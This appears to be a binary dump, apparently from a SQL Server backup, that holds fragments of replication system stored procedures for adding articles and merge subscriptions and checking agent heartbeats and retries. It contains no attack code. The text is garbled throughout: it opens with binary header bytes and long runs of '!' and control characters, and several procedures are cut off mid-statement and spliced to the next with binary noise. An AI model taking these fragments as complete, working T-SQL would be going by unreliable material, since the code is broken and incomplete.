[DifferentialBaseLSN0-1]DifferentialBaseGUID0-2xx_BackupTypeDescription0-3OBackupSetGUID0-4]CompressedBackupSize!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!ngv%u.?V
w
8
3(
t
/
		@	Wl>gv-4Q;`<z
H	z
ͥY(e
								ELSE NULL END,			
			inserts, updates, deletes, conflicts, NULL, rows_retried, NULL, 2
			from dbo.MSmerge_articlehistory
			where session_id=@session_id and phase_id = 1
			order by start_time

		select @phase_description = formatmessage(22533)
		--select @phase_description = formatmessage(21589)
		
		-- download summary line
		insert @resulttable 
			(PhaseID, ArticleName, PercentComplete, RelativeCost, Duration, Inserts, Updates, Deletes, 
				Conflicts, SchemaChanges, RowsRetried, ErrorID, RowType)
		values (0, @phase_description, @download_percent_complete, @download_percent_cost, @download_time, @download_inserts, @download_updates, 
				@download_deletes, @download_conflicts, NULL, @download_rows_retried, NULL, 3)
		
		-- download details
		insert @resulttable
			(PhaseID, ArticleName, PercentComplete, RelativeCost, Duration, Inserts, Updates, Deletes, 
				Conflicts, SchemaChanges, RowsRetried, ErrorID, RowType)
		select phase_id, article_name, 
			CAST(percent_complete as int), 
			CASE when @run_succeeded = 1 and relative_cost <= 100.00
				then (relative_cost/100.0) * @download_percent_cost
								ELSE NULL END, 
			CASE when @run_succeeded = 1 and relative_cost <= 100.00
				then (relative_cost/100.0) * @download_time
								ELSE NULL END,
			inserts, updates, deletes, conflicts, NULL, rows_retried, NULL, 4
			from dbo.MSmerge_articlehistory
			where session_id=@session_id and phase_id = 2
			order by start_time
	end

	select PhaseID, ArticleName, 
		PercentComplete, RelativeCost, Duration, 
		Inserts, Updates, Deletes, Conflicts, ErrorID, SeqNo, RowType, SchemaChanges, RowsRetried
		from @resulttable order by SeqNo
end
der_id = @publisher_id and
			publisher_db = @publisher_db and
			publication = @publication 

		if @publication_id is null
		begin
			RAISERROR (21040, 16, -1, @publication)
			return 1
		end

		-- Get version agent_id
		select top 1 @virtual_agent_id = agent_id from dbo.MSsubscriptions where
			publisher_id = @publisher_id and
			publisher_db = @publisher_db and
			publication_id = @publication_id and
			subscriber_id = @virtual

		select @attach_version = subscription_guid from MSdistribution_agents
			where id = @virtual_agent_id
	end
	else
		-- set a irrelevent guid. It should never be used.
		select @attach_version = newid()

	-- Get subscription guid
	-- Use sub_agent_id so that both anonymous and well-known work.
	-- Refer to sp_MSget_subscription_guid. You need to make change to that sp when changing
	-- this.
	declare @subscription_guid binary(16)
	select @subscription_guid = subscription_guid from MSdistribution_agents where
		id = @sub_agent_id
	
    select 'xact_seqno_length' = @xact_seqno_length,
	        'agent_id' = @agent_id,
	        'agent_name' = name,
	        'anonymous subid' = anonymous_subid,
	        'expired ' = convert(int, 0),
			'dts_package_name' = dts_package_name,
			'dts_package_password' = sys.fn_repldecryptver4(dts_package_password),
			'dts_package_location' = dts_package_location,
			'immediate_sync' = @immediate_sync,
			'allow_subscription_copy' = @allow_subscription_copy,
			'queue_id' = queue_id,
			'update_mode' = @update_mode,
			'attach_version' = @attach_version,
			'subscription_guid' = @subscription_guid,
			'queue_server' = queue_server,
	        'reset_partial_snapshot_progress' = reset_partial_snapshot_progress
	        ,subscriptionstreams
        from MSdistribution_agents where id = @agent_id
	if @@error <> 0 return 1
	
EndRaiseError:
	if @endraiserror = 1
	begin
		-- Raise a special error for a common error case: user specified publication
		-- name for non independent agent publication.
        -- If the specified publication name is in dbo.MSpublications table then
        -- the publication is configured to use a non-independent distribution
        -- agent. Raise a different error if this is the case
        if @publication is not null and 
            exists (select * from dbo.MSpublications 
                    where publication = @publication and 
                          publisher_id = @publisher_id and
                          publisher_db = @publisher_db and
                          independent_agent = 0)  
        begin
            RAISERROR (21133, 16, -1, @publication)
        end
		-- If anything else then we know the subscription is bad
        else
        begin
             -- Invalid subscription
            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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,`<(I	|'vQ(CREATE PROCEDURE sys.sp_MSadd_article
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @article sysname,
    @article_id int = NULL,
    @destination_object sysname = NULL,
    @source_object sysname = NULL,
    @description nvarchar(255) = NULL,
    @source_owner   sysname = NULL,
    @destination_owner sysname = null,
    @internal sysname = N'PRE-YUKON'		-- Can be: 'PRE-YUKON', 'YUKON ADD SUB', 'YUKON ADD AGENT'
)
as
begin
    set nocount on

    declare @publisher_id smallint
    declare @publication_id int
    declare @retcode int
    declare @thirdparty_flag bit
    declare @immediate_sync bit
    declare @allow_anonymous bit
    declare @subscription_seqno binary(16)
    declare @subscribed tinyint
    declare @active tinyint

    select @subscribed = 1  
    select @active = 2
        
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    -- sp_MSvalidate_distpublisher ensures this
    --
    /*
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSadd_article', 'distribution')
        return (1)
    end
    */
    -- Check if publisher is a defined as a distribution publisher in the current database
    exec @retcode = sys.sp_MSvalidate_distpublisher @publisher, @publisher_id OUTPUT
    if @retcode <> 0
    begin
        return(1)
    end

    -- Get publication id
    select @publication_id = publication_id,  
        @thirdparty_flag = thirdparty_flag,
        @immediate_sync = immediate_sync, @allow_anonymous = allow_anonymous 
        from dbo.MSpublications where
        publisher_id = @publisher_id and 
        publisher_db = @publisher_db and
        publication = @publication
    if @publication_id is NULL
    begin
        raiserror (20026, 11, -1, @publication)
        return (1)
    end

    -- Make sure article does not already exist
    if exists (select * from MSarticles where publication_id = @publication_id and
        publisher_id = @publisher_id and publisher_db = @publisher_db and article = @article)
    begin
        if @thirdparty_flag = 1
        begin
            raiserror (14030, 16, -1, @article, @publication)
            return (1)
        end
        else
        begin
            exec @retcode = sys.sp_MSdrop_article
                @publisher = @publisher,
                @publisher_db = @publisher_db,
                @publication = @publication,
                @article = @article
            if @retcode <> 0 or @@error <> 0
            begin
                return (1)
            end
        end
    end

	-- If it is a third party publication - check if a subscription exists
	-- for the publication already. If it does then we cannot add any
	-- articles - the existing subscriptions will have to dropped first and then
	-- resubscribed
	-- excluding virtual subscriptions.
	if (@thirdparty_flag = 1)
	begin
		if exists (select * from dbo.MSsubscriptions where 
				publisher_id = @publisher_id and 
				publisher_db = @publisher_db and 
				publication_id = @publication_id and
				subscriber_id >= 0)
		begin
			raiserror(21131, 16, -1, @publication)
			return (1)
		end
	end

    begin tran
    save tran MSadd_article

	-- Generate new article id when one is not provided by a 
	-- third party publisher or merge publication
	if @article_id is NULL
	begin
		if (@thirdparty_flag = 1)
		begin
			-- Generate unique id per publisher
			select @article_id = max(article_id) + 1 from MSarticles where 
				publisher_id = @publisher_id
		end
		else
		begin
			-- 6.5 behavior : retain for compatibility
			-- NOTE: article_id is incremented per publisher/publisher_db/publication
			select @article_id = max(article_id) + 1 from MSarticles where 
				publisher_id = @publisher_id and
				publisher_db = @publisher_db and
				publication_id = @publication_id
		end

		if @article_id is null
			select @article_id = 1
	end
	else
	begin
		--
		-- for third party publisher - validate the article id
		--
		if (@thirdparty_flag = 1)
		begin
			if exists (select * from MSarticles where
					article_id = @article_id and
					publisher_id = @publisher_id and
					publisher_db = @publisher_db and
					publication_id = @publication_id)
			begin
				if @@trancount > 0
				begin
					rollback tran MSadd_article
					commit tran
				end
				raiserror (14155, 16, 2)
				return (1)
			end
		end
	end

    insert into MSarticles (publisher_id, publisher_db, publication_id, 
							article, article_id, destination_object, 
         					source_owner, source_object, description, destination_owner)
    	values (@publisher_id, @publisher_db, @publication_id,
            	@article, @article_id, @destination_object, 
				@source_owner, @source_object, @description, @destination_owner)
    if @@error <> 0
    begin
        if @@trancount > 0
        begin
            rollback tran MSadd_article
            commit tran
        end
        return (1)
    end

    -- For third party publications create immediate sync and anonymous virtual subscription
    -- with 'subscribed' status and then change anonymous virtual to 'active' status
    -- SQL Server publications will do this via RPC calls to sp_MSadd_subscription
    if @thirdparty_flag = 1 
    begin
        select @subscription_seqno = 0x00  
        if @immediate_sync = 1
        begin
            -- @status passed to sp_MSadd_subscription should always be @subscribed.
            exec @retcode = sys.sp_MSadd_subscription
                @publisher = @publisher,
                @publisher_db = @publisher_db,
                @publication = @publication,
                @article_id = @article_id,
                @subscriber = NULL,                 -- virtual subscription
                @status = @subscribed,              
                @subscription_seqno = @subscription_seqno,
                @sync_type = 1,  -- virtual subscriptions are automatic sync type 
                @internal = @internal
            if @retcode <> 0 or @@error <> 0
            begin
                if @@trancount > 0
                begin
                    rollback tran MSadd_article
                    commit tran
                end
                return (1)
            end
			-- For SQL publications, we have logic to immediately active the 
			-- virtual anonymous subscription to no_sync subscriptions. However, this
			-- feature is not exposed (You need to pass undocumented command line arg 
			-- '-NoInitialSync' to the distribution agent for the anonymous subscription).
			-- Do the same for 3rd party publications

			if @allow_anonymous = 1
			begin
                            /*
                            @publisher sysname,
                            @publisher_db sysname,
                            @subscriber sysname,
                            @article_id int,
                            @status int,
                            @subscription_seqno varbinary(16),
                            --post 6x
                            @destination_db sysname = '%'
                            */
				exec @retcode = sys.sp_MSupdate_subscription
					@publisher = @publisher,
					@publisher_db = @publisher_db,
					@subscriber = NULL,                 -- virtual subscription
					@article_id = @article_id,
					@status = @active,              
					@subscription_seqno = @subscription_seqno,
					@destination_db = '%' -- For virtual sub, @destination_db is not used. Can pass in anything
				if @retcode <> 0 or @@error <> 0
				begin
					if @@trancount > 0
					begin
						rollback tran MSadd_article
						commit tran
					end
					return (!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(J	(v^CREATE PROCEDURE sys.sp_MSadd_merge_subscription
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @subscriber sysname,       
    @subscriber_db sysname,
    @subscription_type tinyint = 0,     -- 0 = push, 1 = pull
    @sync_type tinyint = 1,             -- 0 = none  1 = automatic snaphot  2 = no intial snapshot
    @status tinyint = 1,                -- 0 = inactive, 1 = subscribed, 2 = active 
    @frequency_type int = NULL,
    @frequency_interval int = NULL,
    @frequency_relative_interval int = NULL,
    @frequency_recurrence_factor int = NULL,
    @frequency_subday int = NULL,
    @frequency_subday_interval int = NULL,
    @active_start_time_of_day int = NULL,
    @active_end_time_of_day int = NULL,
    @active_start_date int = NULL,
    @active_end_date int = NULL,
    @optional_command_line nvarchar(4000) = NULL,
    -- Job name, used in scripting.
    @agent_name sysname = NULL,
    @merge_jobid binary(16) = NULL OUTPUT,
    -- Agent offload
    @offloadagent bit = 0,
    @offloadserver sysname = NULL,
    @hostname sysname = NULL,
    -- friendly name for merge
   	@description	nvarchar(255) = NULL,
   	@subid uniqueidentifier = NULL,
	-- used for jobstep level proxy accounts
	@internal sysname = N'PRE-YUKON',			-- Can be: 'PRE-YUKON', 'YUKON ADD SUB', 'YUKON ADD AGENT'
	@publisher_engine_edition int = null
)
as
begin
    set nocount on

    declare @publisher_id smallint
    declare @publication_id int
    declare @retcode int

    -- default values 
    declare @flushfrequency int 
    declare @frequencytype int
    declare @frequencyinterval int 
    declare @frequencyrelativeinterval int
    declare @frequencyrecurrencefactor int 
    declare @frequencysubday int 
    declare @frequencysubdayinterval int
    declare @activestarttimeofday int
    declare @activeendtimeofday int
    declare @activestartdate int 
    declare @activeenddate int 
    declare @push int
    declare @local_job bit
    declare @thirdparty_flag bit
	declare @subscribersecuritymode smallint
	declare @subscriberlogin sysname
	declare @subscriberpassword nvarchar(524)

    select @push = 0

    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSadd_merge_subscription', 'distribution')
        return (1)
    end
    -- Check if publisher is a defined as a distribution publisher in the current database
    exec @retcode = sys.sp_MSvalidate_distpublisher @publisher, @publisher_id OUTPUT
    if @retcode <> 0
    begin
        return(1)
    end

	IF @offloadagent IS NOT NULL
		AND @offloadagent != 0
	BEGIN
		-- "Parameter '@offloadagent' is no longer supported."
		RAISERROR(21698, 16, -1, '@offloadagent')
		RETURN 1
	END

	IF ISNULL(@offloadserver, N'') != N''
	BEGIN
		-- "Parameter '@offloadserver' is no longer supported."
		RAISERROR(21698, 16, -1, '@offloadserver')
		RETURN 1
	END
	
    -- Get the publication information 
    select @publication_id = publication_id,
        @thirdparty_flag = thirdparty_flag from 
        dbo.MSpublications where 
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        publication = @publication
    if @publication_id is NULL
    begin
        raiserror (20026, 11, -1, @publication)
        return (1)
    end
    
    -- Perform PAL check with retrieved @publication_id
    exec @retcode = sys.sp_MScheck_pull_access
        @agent_type = 1, -- merge agent
        @publication_id = @publication_id
    if @@error <> 0 or @retcode <> 0
	begin    
		RAISERROR (15247, 11, -1)
		return (1)
	end

    -- Make sure subscription does not already exist
    if exists (select * from dbo.MSmerge_subscriptions where 
        publisher_id = @publisher_id and 
        publisher_db = @publisher_db and 
        publication_id = @publication_id and
        UPPER(subscriber) = UPPER(@subscriber) and
        subscriber_db = @subscriber_db)
    begin
        if @thirdparty_flag = 1
        begin
            raiserror (14058, 16, -1)
            return(1)
        end
        else
        begin
            exec @retcode = sys.sp_MSdrop_merge_subscription 
                @publisher = @publisher,
                @publisher_db = @publisher_db,
                @publication = @publication,
                @subscriber = @subscriber,
                @subscriber_db = @subscriber_db,
                @subscription_type  = @subscription_type
            if @retcode <> 0 or @@error <> 0
            begin
                return (1)
            end
        end
    end
    		
    select @frequencytype = frequency_type,
        @frequencyinterval = frequency_interval,
        @frequencyrelativeinterval = frequency_relative_interval,
        @frequencyrecurrencefactor = frequency_recurrence_factor,
        @frequencysubday = frequency_subday,
        @frequencysubdayinterval = frequency_subday_interval,
        @activestarttimeofday = active_start_time_of_day,
        @activeendtimeofday = active_end_time_of_day,
        @activestartdate = active_start_date,
        @activeenddate = active_end_date
    from MSsubscriber_schedule 
    where UPPER(publisher) = UPPER(@publisher) and UPPER(subscriber) = UPPER(@subscriber) and agent_type = 1
   	
    if @frequency_type is null
        select @frequency_type = @frequencytype

    if @frequency_interval  is null
        select  @frequency_interval = @frequencyinterval

    if @frequency_relative_interval is null
        select  @frequency_relative_interval = @frequencyrelativeinterval

    if @frequency_recurrence_factor is null
        select  @frequency_recurrence_factor = @frequencyrecurrencefactor

    if @frequency_subday is null
        select  @frequency_subday = @frequencysubday

    if @frequency_subday_interval is null
        select  @frequency_subday_interval = @frequencysubdayinterval

    if @active_start_time_of_day is null
        select  @active_start_time_of_day = @activestarttimeofday

    if @active_end_time_of_day is null
        select  @active_end_time_of_day = @activeendtimeofday

    if @active_start_date is null
        select  @active_start_date = @activestartdate

    if @active_end_date is null
        select  @active_end_date = @activeenddate
	
    begin transaction 

    -- If push and agent name is not passed in, create local job.
    if @subscription_type = @push
        select @local_job = 1
    else
        select @local_job = 0

	/* If a subid is not passed in, set it to NEWID() */
	if (@subid IS NULL)
		set @subid = newid()
		
    insert into dbo.MSmerge_subscriptions (publisher_id, publisher_db, publication_id,
        subscriber_id, subscriber_db, subscription_type, sync_type, status, 
        subscription_time, description, publisher, subscriber, subid)
    	values (@publisher_id, @publisher_db, @publication_id,
        NULL, @subscriber_db, @subscription_type, @sync_type, @status, 
        getdate(), 
		@description,
		@publisher,
		@subscriber,
        @subid)
    if @@error <> 0
    begin
        goto FAILURE
    end

    -- Create Merge Agent
    exec @retcode = sys.sp_MSadd_merge_agent
        @name = @agent_name, 
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication,
        @subscriber = @subscriber,
        @subscriber_db = @subscriber_db,
        @local_job = @local_job,
        @frequency_type  = @frequency_type,                         
        @frequency_interval = @frequency_interval, 
        @frequency_relative_interval = @frequency_relative_interval, 
        @frequency_recurrence_factor = @frequency_recurrence_factor, 
        @frequency_subday = @frequency_subday, 
        @frequency_subday_interval = @frequency_subday_interval,
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(K	sGvUCREATE PROCEDURE sys.sp_MSagent_stethoscope 
(
    @heartbeat_interval int = 10  --minutes
)
as
BEGIN
	declare @current_time datetime
			,@agent_name nvarchar(100)
			,@agent_id int
			,@job_id binary(16)
			,@start_time datetime
			,@duration int
			,@comments nvarchar(1024)
			,@publisher_id smallint
			,@publisher sysname
			,@publisher_db sysname
			,@heartbeat_failure bit
			,@snapshot_type int
			,@logreader_type int
			,@distribution_type int
			,@merge_type int
			,@qreader_type int
			,@histverboselevel tinyint
			,@merge_session_id int
			,@runstatus int
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
	--
	-- initialize
	--
	set nocount on
	select @snapshot_type = 1
			,@logreader_type = 2
			,@distribution_type = 3
			,@merge_type = 4
			,@qreader_type = 9
			,@heartbeat_failure = 0
			,@current_time = getdate()
			,@comments = formatmessage(20554, @heartbeat_interval)

    -- If a running snapshot agent has not logged a history message within the specified
    -- heartbeat_interval then raise a agent suspect error
    declare hC_snapshot_suspect CURSOR LOCAL FAST_FORWARD for 
        select sh1.agent_id, sh1.start_time from MSsnapshot_history sh1 with (READPAST) where
            (sh1.runstatus = 1 or sh1.runstatus = 3 or sh1.runstatus = 4) and
            dateadd(minute, @heartbeat_interval, sh1.time) < @current_time and
            sh1.timestamp = (select max(timestamp) from MSsnapshot_history with (READPAST) where
                agent_id= sh1.agent_id)
        for read only

    open hC_snapshot_suspect
    fetch hC_snapshot_suspect into @agent_id, @start_time
    while (@@fetch_status <> -1)
    begin

        set @heartbeat_failure = 1

        -- Get the agent name
        select @agent_name = name, @job_id = job_id from MSsnapshot_agents where id = @agent_id

        -- Log a "No action" message on behalf of the agent
        exec sys.sp_MSadd_snapshot_history
            @agent_id = @agent_id,
            @runstatus = 6,     -- Failure status
            @comments = @comments,
			@do_raiserror = 0

        fetch hC_snapshot_suspect into @agent_id, @start_time
    end
    close hC_snapshot_suspect
    deallocate hC_snapshot_suspect


    -- If a running logreader agent has not logged a history message within the specified
    -- heartbeat_interval then raise a agent suspect error
    declare hC_logreader_suspect CURSOR LOCAL FAST_FORWARD for 
        select la.id, sh1.start_time from MSlogreader_agents la, MSlogreader_history sh1 where
            (sh1.runstatus = 1 or sh1.runstatus = 3 or sh1.runstatus = 4) and
            dateadd(minute, @heartbeat_interval, sh1.time) < @current_time and
            sh1.timestamp = (select max(timestamp) from MSlogreader_history where
                agent_id= sh1.agent_id) and
            la.id = sh1.agent_id
        for read only

    open hC_logreader_suspect
    fetch hC_logreader_suspect into @agent_id, @start_time
    while (@@fetch_status <> -1)
    begin
        set @heartbeat_failure = 1

        -- Get the agent name
        select @agent_name = name, @job_id = job_id from MSlogreader_agents where id = @agent_id

        -- Log a "No action" message on behalf of the agent
        select @publisher_id = publisher_id, @publisher_db = publisher_db from MSlogreader_agents where id = @agent_id
        select @publisher = srvname from master.dbo.sysservers where srvid = @publisher_id
        exec sys.sp_MSadd_logreader_history
            @agent_id = @agent_id,
            @runstatus = 6,     -- Failure status
            @comments = @comments,
			@do_raiserror = 0

        fetch hC_logreader_suspect into @agent_id, @start_time
    end
    close hC_logreader_suspect
    deallocate hC_logreader_suspect

    -- If a running distribution agent has not logged a history message within the specified
    -- heartbeat_interval then raise a agent suspect error
	declare #hC_distribution_suspect CURSOR LOCAL FAST_FORWARD for 
		select id from MSdistribution_agents
       for read only

    open #hC_distribution_suspect
    fetch #hC_distribution_suspect into @agent_id
    while (@@fetch_status <> -1)
    begin
    	select top 1 @start_time = time, @runstatus = runstatus
    		from MSdistribution_history where
    		agent_id = @agent_id 
			order by timestamp desc
		if (@@rowcount = 1 
			and (@runstatus = 1 or @runstatus = 3 or @runstatus = 4 )
		 	and (dateadd(minute, @heartbeat_interval, @start_time) < @current_time ))
		begin
			select @heartbeat_failure = 1

			-- Log a "No action" message on behalf of the agent
			exec sys.sp_MSadd_distribution_history
				@agent_id = @agent_id,
				@runstatus = 6,     -- Failure status
				@comments = @comments,
				@do_raiserror = 0
		end

       fetch #hC_distribution_suspect into @agent_id
    end
    close #hC_distribution_suspect
    deallocate #hC_distribution_suspect
		
    -- If a running merge agent has not logged a history message within the specified
    -- heartbeat_interval then raise a agent suspect error
    declare hC_merge_suspect CURSOR LOCAL FAST_FORWARD for 
        select sh1.agent_id, sh1.start_time 
        from dbo.MSmerge_sessions sh1 
        where
            (sh1.runstatus = 1 or sh1.runstatus = 3 or sh1.runstatus = 4) and
            dateadd(minute, @heartbeat_interval, sh1.end_time) < @current_time and
            sh1.timestamp = (select max(sh2.timestamp) from dbo.MSmerge_sessions sh2 where
                sh2.agent_id= sh1.agent_id)
        for read only

    open hC_merge_suspect
    fetch hC_merge_suspect into @agent_id, @start_time
    while (@@fetch_status <> -1)
    begin
		
        
        set @heartbeat_failure = 1
        set @merge_session_id = NULL

        -- Get the agent name
        select @agent_name = name, @job_id = job_id from dbo.MSmerge_agents where id = @agent_id
                                       
        select top 1 @merge_session_id = session_id from dbo.MSmerge_sessions 
		where agent_id = @agent_id 
		order by session_id desc

        -- Log a "No action" message on behalf of the agent
        exec sys.sp_MSadd_merge_history
            @agent_id = @agent_id,
            @runstatus = 6,     -- Failure status
            @comments = @comments,
			@do_raiserror = 0,
			@log_error = 1,
			@session_id_override = @merge_session_id

        fetch hC_merge_suspect into @agent_id, @start_time
    end
    close hC_merge_suspect
    deallocate hC_merge_suspect

    -- If a running queuereader agent has not logged a history message within the specified
    -- heartbeat_interval then raise a agent suspect error
    declare hC_qrdr_suspect CURSOR LOCAL FAST_FORWARD for 
        select sh1.agent_id, sh1.start_time from MSqreader_history sh1 where
            (sh1.runstatus = 1 or sh1.runstatus = 3 or sh1.runstatus = 4) and
            dateadd(minute, @heartbeat_interval, sh1.time) < @current_time and
            sh1.timestamp = (select max(timestamp) from MSqreader_history where
                agent_id= sh1.agent_id)
        for read only

    open hC_qrdr_suspect
    fetch hC_qrdr_suspect into @agent_id, @start_time
    while (@@fetch_status <> -1)
    begin
        set @heartbeat_failure = 1

        -- Get the agent name
        select @agent_name = name, @job_id = job_id from MSqreader_agents where id = @agent_id

        -- Log a "No action" message on behalf of the agent
        exec sys.sp_MSadd_qreader_history
            @agent_id = @agent_id,
            @runstatus = 6,     -- Failure status
            @comments = @comments,
			@do_raiserror = 0

        fetch hC_qrdr_suspect into @agent_id, @start_time
    end
    close hC_qrdr_suspect
    deallocate hC_qrdr_suspect

    -- Log all is fine m!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(L	5v5--
-- Name: sp_MSagent_retry_stethoscope
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: Public procedure invoked via RPC. db_owner check
-- Requires Certificate signature for catalog access
--
CREATE PROCEDURE sys.sp_MSagent_retry_stethoscope
AS
BEGIN
	SET NOCOUNT ON
	
	DECLARE @retcode int,
			@LOGREADER_AGENT tinyint,
			@DISTRIB_AGENT tinyint,
			@REPL_SUCCEEDED tinyint,
			@REPL_FAILED tinyint,
			@REPL_RETRY tinyint,
			@REPL_INPROG tinyint,
			@KOMODO_SUCCEEDED tinyint,
			@KOMODO_FAILED tinyint,
			@KOMODO_RETRY tinyint,
			@KOMODO_CANCEL tinyint,
			@type int,
			@agent_id int, 
			@job_name sysname,
			@komodo_runstatus int, 
			@repl_runstatus int, 
			@retries_attempted int, 
			@message nvarchar(255)
										
	SELECT @LOGREADER_AGENT = 0,
			@DISTRIB_AGENT = 1,
			@REPL_SUCCEEDED = 2,
			@REPL_FAILED = 6, 
			@REPL_RETRY = 5,
			@REPL_INPROG = 3,
			@KOMODO_SUCCEEDED = 1,
			@KOMODO_FAILED = 0,
			@KOMODO_RETRY = 2,
			@KOMODO_CANCEL = 3

    -- security check
    IF IS_MEMBER('db_owner') != 1
    BEGIN
    	-- You do not have sufficient permission to run this command. Contact your system administrator.
        RAISERROR(14260, 16, -1)
        RETURN 1
    END

    -- Has to be executed from distribution database
    IF sys.fn_MSrepl_isdistdb (db_name()) != 1
    BEGIN
    	-- sp_MSagent_retry_stethoscope can only be executed in the "distribution" database.
        RAISERROR(21482, 16, -1, 'sp_MSagent_retry_stethoscope', 'distribution')
        RETURN 1
    END
		
	BEGIN TRANSACTION tr_retry_stethoscope
	SAVE TRANSACTION tr_retry_stethoscope

	-- here we use an applock to prevent more than one user 
	-- on any single server from executing this procedure at
	-- the same time... this also prevent calls from the UI
	-- to collide with calls from the checkup agent job...
	EXEC @retcode = sys.sp_getapplock @Resource = 'Repl_Refresh_Retry_Messages', 
                                    @LockMode = 'Exclusive', 
                                    @LockOwner = 'Transaction',
                                    @LockTimeout = 1,
                                    @DbPrincipal = N'db_owner'
    IF @@ERROR <> 0 or @retcode < 0
	BEGIN
		GOTO ROLLBACK_EXIT
	END
		
	DECLARE @agent_sessions table
			(	
				type tinyint, 
				agent_id int,
				job_id varbinary(16),
				time datetime
			) 

	--------------------------------------------------------
	-- Retrieve all sessions
    --------------------------------------------------------
	--
	-- Here we are attempting to retrieve the latest agent 
	-- sessions. Note that we discard information on any 
	-- agent that had a successful runstatus for it's last
	-- agent run. We should have 1 row for each agent that
	-- had a NON-successful run for it's most recent run...
	INSERT INTO @agent_sessions
		-- LOGREADER HISTORY
		SELECT @LOGREADER_AGENT,
				msla.id,
				msla.job_id,
				ISNULL(mslh.time, '1753-01-01 00:00:00')
			FROM MSlogreader_agents msla WITH (NOLOCK)
				JOIN msdb..sysjobs sysj WITH (NOLOCK)
					ON msla.job_id = sysj.job_id
				LEFT JOIN MSlogreader_history mslh WITH (NOLOCK)
					ON msla.id = mslh.agent_id
			WHERE (mslh.timestamp IN (SELECT max(mslh2.timestamp)
										FROM MSlogreader_history mslh2 WITH (NOLOCK)
										WHERE mslh2.agent_id = mslh.agent_id)
					AND mslh.runstatus NOT IN (@REPL_SUCCEEDED))
				OR
				(mslh.timestamp IS NULL
					AND mslh.runstatus IS NULL)

		UNION
		
		-- DISTRIBUTION HISTORY
		SELECT @DISTRIB_AGENT,
				msda.id,
				msda.job_id,
				ISNULL(msdh.time, '1753-01-01 00:00:00')
			FROM MSdistribution_agents msda WITH (NOLOCK)
				JOIN msdb..sysjobs sysj WITH (NOLOCK)
					ON msda.job_id = sysj.job_id
				LEFT JOIN MSdistribution_history msdh WITH (NOLOCK)
					ON msda.id = msdh.agent_id
			WHERE (msdh.timestamp IN (SELECT max(msdh2.timestamp)
										FROM MSdistribution_history msdh2 WITH (NOLOCK)
										WHERE msdh2.agent_id = msdh.agent_id)
					AND msdh.runstatus NOT IN (@REPL_SUCCEEDED))
				OR 
				(msdh.timestamp IS NULL
					AND msdh.runstatus IS NULL)

	------------------------------------------------------------
	-- Retrieve jobhistory information and log the information 
	-- to agent history
	------------------------------------------------------------
	--
	-- here we are attempting to retrieve the latest job
	-- history message for each agent that has an open
	-- agent session (entry in temp table). NOTE that in
	-- in the sub-query we take the max instance_id for
	-- all entrys in history that are within our time 
	-- contraints...
	DECLARE #cr_jobhistory cursor LOCAL FAST_FORWARD FOR
		SELECT agnts.type,
				agnts.agent_id,
				sysj.name,
				sysjh.run_status,
				sysjh.retries_attempted,
				CONVERT(nvarchar(255), sysjh.message)
			FROM msdb..sysjobhistory sysjh WITH (NOLOCK)
				JOIN msdb..sysjobs sysj WITH (NOLOCK)
					ON sysjh.job_id = sysj.job_id
				JOIN @agent_sessions agnts
					ON sysjh.job_id = agnts.job_id
